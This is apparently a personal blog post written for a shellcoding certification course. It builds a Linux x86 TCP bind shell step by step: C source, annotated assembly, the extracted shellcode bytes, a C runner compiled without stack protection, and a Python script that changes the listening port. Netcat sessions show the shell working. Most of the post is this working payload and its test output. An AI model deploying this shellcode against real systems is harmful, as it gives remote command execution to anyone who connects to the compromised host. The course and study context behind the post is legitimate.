SLAE x86 Assignment 1: TCP Bind Shell

11 minute read

Hey guys! Welcome to my first SLAE x86 Assignments post! This series of posts aims to fulfil the requirements of the SLAE x86 certification from Pentester Academy, while also making shellcoding easier to understand for people just starting out in the field of exploit development. Let’s begin with assignment 1!

Understanding The Objective

In order to effectively understand what the shellcode must do, it is a good idea to start off by breaking down the code’s major working parts. The shellcode must do the following:

  • Creates and configures a socket
  • Binds an IP and port to that socket
  • Listens for a connection and accepts it
  • Duplicates standard file descriptors, so that the shell can interact with the socket
  • Spawns a shell

Now that we have an outline for our TCP bind shell, let’s write a little C code that does this for us, in order to get a better understanding of how socket functions work.

// SLAE Assignment 1: Shell Bind TCP (Linux/x86)
// Author:  4p0cryph0n
// Website:  https://4p0cryph0n.github.io

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main()
{
    //Defining Address Structure
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4443); //Port no.
    addr.sin_addr.s_addr = htonl(INADDR_ANY); //Use any interface to listen

    //Create and Configure Socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    //Bind Socket
    bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

    //Listen
    listen(sockfd, 0);

    //Accept
    int stdfd = accept(sockfd, NULL, NULL);

    //Duplicate Standard File Descriptors
    for (int i = 0; i <= 2; i++)
    {
        dup2(stdfd, i);
    }

    //Execute Shell
    execve("/bin/sh", NULL, NULL);
    return 0;  
}

Defining the Address Structure

//Defining Address Structure
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4443); //Port no.
addr.sin_addr.s_addr = hton1(INADDR_ANY); //Use any interface to listen

This part of the code is responsible for defining the address family, port, and interface parameters, based on which we create our socket. Executing man 7 ip gives us a better understanding of the IP Address format:

Address format
       An IP socket address is defined as a combination of an IP interface  address  and  a
       16-bit  port  number.   The basic IP protocol does not supply port numbers, they are
       implemented by higher level protocols  like  udp(7)  and  tcp(7).   On  raw  sockets
       sin_port is set to the IP protocol.
struct sockaddr_in {
   sa_family_t    sin_family; /* address family: AF_INET */
   in_port_t      sin_port;   /* port in network byte order */
   struct in_addr sin_addr;   /* internet address */
};

/* Internet address. */
struct in_addr {
   uint32_t       s_addr;     /* address in network byte order */
};

Also note that we use htons and hton1 functions to convert the address and port to Big Endian (network byte order). INADDR_ANY basically means that the socket will use all the interfaces available on the computer, basically takes the value of NULL.

Creating and Configuring the socket

int sockfd = socket(AF_INET, SOCK_STREAM, 0);

The socket() function takes three arguments, shown by the manpage exerpt below. These parameters will be stored in the sockfd variable for later use in binding, listening and accepting:

#include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int socket(int domain, int type, int protocol);
  • int domain: This variable is used to specify a protocol family which will be used for communication. In our case, we will be using IPv4 which is specified by AF_INET.
  • int type: The type of socket. SOCK_STREAM in our case, which is used for two-way communication for TCP sockets.
  • int protocol: Protocol to be used with the socket. We can also use 0 in our case.

Binding the Socket

//Bind Socket
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

This is where we assign an IP and port to the socket, using the sockfd variable from before, along with the address structure and the size of the address structure, which is supposed to be 16 bytes.

Listening and Accepting

//Listen
listen(sockfd, 0);

//Accept
int stdfd = accept(sockfd, NULL, NULL);

The listen() function takes two arguments:

  • int sockfd: The socket descriptor from before.
  • int backlog: Used to specify the queueing of connections. In our case, we set backlog to 0, as there is only one connection that we need to be concerned with.

The accept() function takes three arguments:

  • int sockfd: The socket descriptor from before.
  • struct sockaddr *addr: The IP of the host. NULL in our case, as we don’t need setup anything for the peer socket.
  • struct sockaddr *addr: The addr length of the peer socket. Again, NULL.

After this, the program starts listening for any incoming connections. After it receives one, the accept() will return a file descriptor for the accepted socket. This is what we will use in order to duplicate the standard file descriptors.

Duplicating Standard File Descriptors

//Duplicate Standard File Descriptors
for (int i = 0; i < 3; i++)
{
    dup2(stdfd, i);
}

We need to duplicate stdin, stdout and stderr to the socket in order to redirect input and output from the connection to the socket.

Executing a shell

//Execute Shell
execve("/bin/sh", NULL, NULL);
return 0;

To execute a shell, we use execve, and the /bin/sh binary. Let’s run this!

Terminal 1:
$ gcc shell.c -o shell
$ ./shell

Terminal 2:
$ nc -nv 127.0.0.1 4443
(UNKNOWN) [127.0.0.1] 4443 (?) open
pwd
/home/kali/Desktop/SLAE_Practice/SLAEx86_Assignments/ass1

Now that we know the structure of our program, let’s start writing the assembly version!

Assembly Time!

Note that in order to make a call like bind, accept, listen, etc, we will need to use the int socketcall() syscall, which has the syscall number 102, or 0x66 in hex. It takes the following arguments:

int socketcall(int call, unsigned long *args);

Let’s start off by gathering the call numbers. These are stored in /usr/include/linux/net.h. The ones that we need are:

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

Now, we will need to find the identifiers for the sockfd arguments:

  • AF_INET: Found in /usr/include/bits/socket.h:
    #define PF_INET         2       /* IP protocol family.  */
    #define AF_INET         PF_INET
    
  • SOCK_STREAM: Found in /usr/include/bits/socket_type.h:
    SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams.  */
    
  • int protocol: Found in /usr/include/linux/in.h:
    IPPROTO_IP = 0, /* Dummy protocol for TCP */
    

Perfect. Let’s begin writing the code.

We start off by zeroing the registers using the xor instruction. Each register will now have the value of 0x00000000, which may prevent crashes while testing out the shellcode.

xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq               ;clears edx

Let’s create the socket now. The way in which socketcall() works is, the ebx register takes the call number, and ECX takes a pointer to the arguments of that call.

; create socket s=socket(2,1,0)
mov al, 0x66
inc ebx           ;ebx=1
push edx          ;0
push ebx          ;1
push 0x2          ;2
mov ecx, esp      ;pointer to args
int 0x80          ;syscall
mov esi, eax      ;sockfd

Keep in mind that as the stack grows downwards, we push the arguments in reverse order. Here, we use the previously found sockfd identifiers:

  • 2: AF_INET
  • 1: SOCK_STREAM
  • 0: IPPROTO_IP A pointer to these arguments will then be stored in ecx, and the syscall will then be executed using int 0x80. This will return the socket descriptor in eax, and we store a pointer to that in esi for later use.

Now we will create the address structure and call the bind() function.

; create addr struc and bind(s, 2,port,0, 16)
mov al, 0x66
inc ebx          ;ebx=2
push edx         ;0
push word 0x5b11 ;4443
push word bx     ;2
mov ecx, esp     ;pointer to args
push 0x10        ;16
push ecx         ;addr struc
push esi         ;stockfd
mov ecx, esp     ;pointer to args
int 0x80         ;syscall

This time, we increment (inc) ebx by 1, which means that now it has the value of 2, which is an identifier for the bind() call. We start by pushing 0 (which is stored in ebx) to the top of the stack, corresponding to the dummy protocol. This is followed by pushing the port number, and the value of 2, which corresponds to AF_INET, and then we store a pointer to these arguments in ecx. This makes up the address structure.

Then we push the address structure length (16) onto the the stack, along with a pointer to the previous arguments for bind(). The bind() function takes sockfd as its first argument, so we push the pointer to that (stored in esi from before) onto the stack. After that, we finally store a pointer to all arguments in ecx, and execute the syscall.

Now, we setup listen() and accept() in a similar fashion.

; listen(s,0)
xor eax, eax     ;eax=0
mov al, 0x66		
inc ebx          ;ebx=3
inc ebx          ;ebx=4
push ebx         ;4 --> SYS_LISTEN
push esi         ;sockfd
mov ecx, esp     ;pointer to args
int 0x80         ;syscall

; accept(s,0,0)
mov al, 0x66
inc ebx          ;ebx=5 --> SYS_ACCEPT
push edx         ;0 --> addrlen
push edx         ;0 --> sockaddrr
push esi         ;sockfd
mov ecx, esp     ;pointer to args
int 0x80         ;syscall
mov edi, eax     ;new fd that we get from accept (we will use this for duping)

Just keep in mind that accept() will return a file descriptor which we need to store for later use, in order to duplicate the standard file descriptors.

Let’s duplicate the standard file descriptors. We will use a loop for this.

xor ecx, ecx     ;ecx=0
mov cl, 0x3      ;counter for loop. Iterating for 3 stdfds
dup2:
xor eax, eax     ;eax=0
mov al, 0x3f     ;syscall number for dup2
mov ebx, edi     ;new fd from accept() moved into ebx
dec cl           ;ecx=2
int 0x80         ;syscall
jnz dup2         ;keep looping until the 0 flag is set

And finally we use execve to execute /bin/sh.

;execve
xor ecx, ecx     ;ecx=0
push ecx         ;pushing the null
push byte 0x0b   ;print syscall
pop eax          ;eax=11
push 0x68732f2f  ;pushing /bin/sh in reverse order
push 0x6e69622f
mov ebx, esp     ;pointer to args
int 0x80         ;syscall

This is the final code:

; SLAE Assignment 1: Shell Bind TCP Shellcode (Linux/x86)
; Author:  4p0cryph0n
; Website:  https://4p0cryph0n.github.io

global _start:

section .text
_start:

        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        cdq

        ; create socket s=socket(2,1,0)
        mov al, 0x66
        inc ebx           ;ebx=1
        push edx          ;0
        push ebx          ;1
        push 0x2          ;2
        mov ecx, esp      ;pointer to args
        int 0x80          ;syscall
        mov esi, eax      ;sockfd

        ; create addr struc and bind(s, 2,port,0, 16)
        mov al, 0x66
        inc ebx          ;ebx=2
        push edx         ;0
        push word 0x5b11 ;4443
        push word bx     ;2
        mov ecx, esp     ;pointer to args
        push 0x10        ;16
        push ecx         ;addr struc
        push esi         ;stockfd
        mov ecx, esp     ;pointer to args
        int 0x80         ;syscall

        ; listen(s,0)
        xor eax, eax     ;eax=0
        mov al, 0x66		
        inc ebx          ;ebx=3
        inc ebx          ;ebx=4
        push ebx         ;4 --> SYS_LISTEN
        push esi         ;sockfd
        mov ecx, esp     ;pointer to args
        int 0x80         ;syscall

        ; accept(s,0,0)
        mov al, 0x66
        inc ebx          ;ebx=5 --> SYS_ACCEPT
        push edx         ;0 --> addrlen
        push edx         ;0 --> sockaddrr
        push esi         ;sockfd
        mov ecx, esp     ;pointer to args
        int 0x80         ;syscall
        mov edi, eax     ;new fd that we get from accept (we will use this for duping)

        ;duplicating stdfds
        xor ecx, ecx     ;ecx=0
        mov cl, 0x3      ;counter for loop. Iterating for 3 stdfds
        dup2:
        xor eax, eax     ;eax=0
        mov al, 0x3f     ;syscall number for dup2
        mov ebx, edi     ;new fd from accept() moved into ebx
        dec cl           ;ecx=2
        int 0x80         ;syscall
        jnz dup2         ;keep looping until the 0 flag is set

        ;execve
        xor ecx, ecx     ;ecx=0
        push ecx         ;pushing the null
        push byte 0x0b   ;print syscall
        pop eax          ;eax=11
        push 0x68732f2f  ;pushing /bin/sh in reverse order
        push 0x6e69622f
        mov ebx, esp     ;pointer to args
        int 0x80         ;syscall

Let’s extract the shellcode and test it out using shellcode.c:

$ objdump -d ./shellcode_tcp_bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x99\x6a\x66\x58\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x11\x5b\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

We paste this in shellcode.c:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x99\x6a\x66\x58\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x11\x5b\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Now lets compile it, and test it out:

Terminal 1:

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode           
shellcode.c:6:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
    6 | main()
      | ^~~~
$ ./shellcode
Shellcode Length:  102

Terminal 2:

$ nc -nv 127.0.0.1 4443
(UNKNOWN) [127.0.0.1] 4443 (?) open
uname -a
Linux kali 5.4.0-kali3-686-pae #1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU/Linux

Boom! it works :)

Customisable Port

In order to complete this requirement, I’ve written a very simple python wrapper script that replaces the port in the shellcode with the desired port. Keep in mind that this is extremely simple, and to make this script more useful, checks for port numbers can also be included, along with better length checks.

#!/usr/bin/python

# SLAE Assignment 1: Simple Python Port Change Wrapper Script
# Author:  4p0cryph0n
# Website: https://4p0cryph0n.github.io/

import sys
import socket

port = int(sys.argv[1])

phtons = hex(socket.htons(int(port)))

half1 = phtons[4:]
half2 = phtons[2:4]

if half1 == "00" or half2 == "00":
        print "Port contains NULL"
        exit(1)

shellcode =  '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x99\\x6a\\x66\\x58\\x43\\x52'
shellcode += '\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\x6a\\x66\\x58'
shellcode += '\\x43\\x52\\x66\\x68\\x11\\x5b\\x66\\x53\\x89\\xe1\\x6a\\x10'
shellcode += '\\x51\\x56\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x43\\x43'
shellcode += '\\x53\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\x43\\x52\\x52\\x56'
shellcode += '\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x31\\xc9\\xb1\\x03\\x31\\xc0'
shellcode += '\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc9'
shellcode += '\\x51\\x6a\\x0b\\x58\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62'
shellcode += '\\x69\\x6e\\x89\\xe3\\xcd\\x80'

shellcode = shellcode.replace('\\x11\\x5b', '\\x{}\\x{}'.format(half1, half2))
print shellcode

Let’s try this out with port 1337:

$ python2 change_port.py 1337
\x31\xc0\x31\xdb\x31\xc9\x99\x6a\x66\x58\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

We paste this into shellcode.c, and compile it

Terminal 1:
$ ./shellcode
Shellcode Length:  102

Terminal 2:
$ nc -nv 127.0.0.1 1337
(UNKNOWN) [127.0.0.1] 1337 (?) open
uname -a
Linux kali 5.4.0-kali3-686-pae #1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU/Linux

Annnndddd with this, we finally wrap up Assignment 1. This was fun!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 1534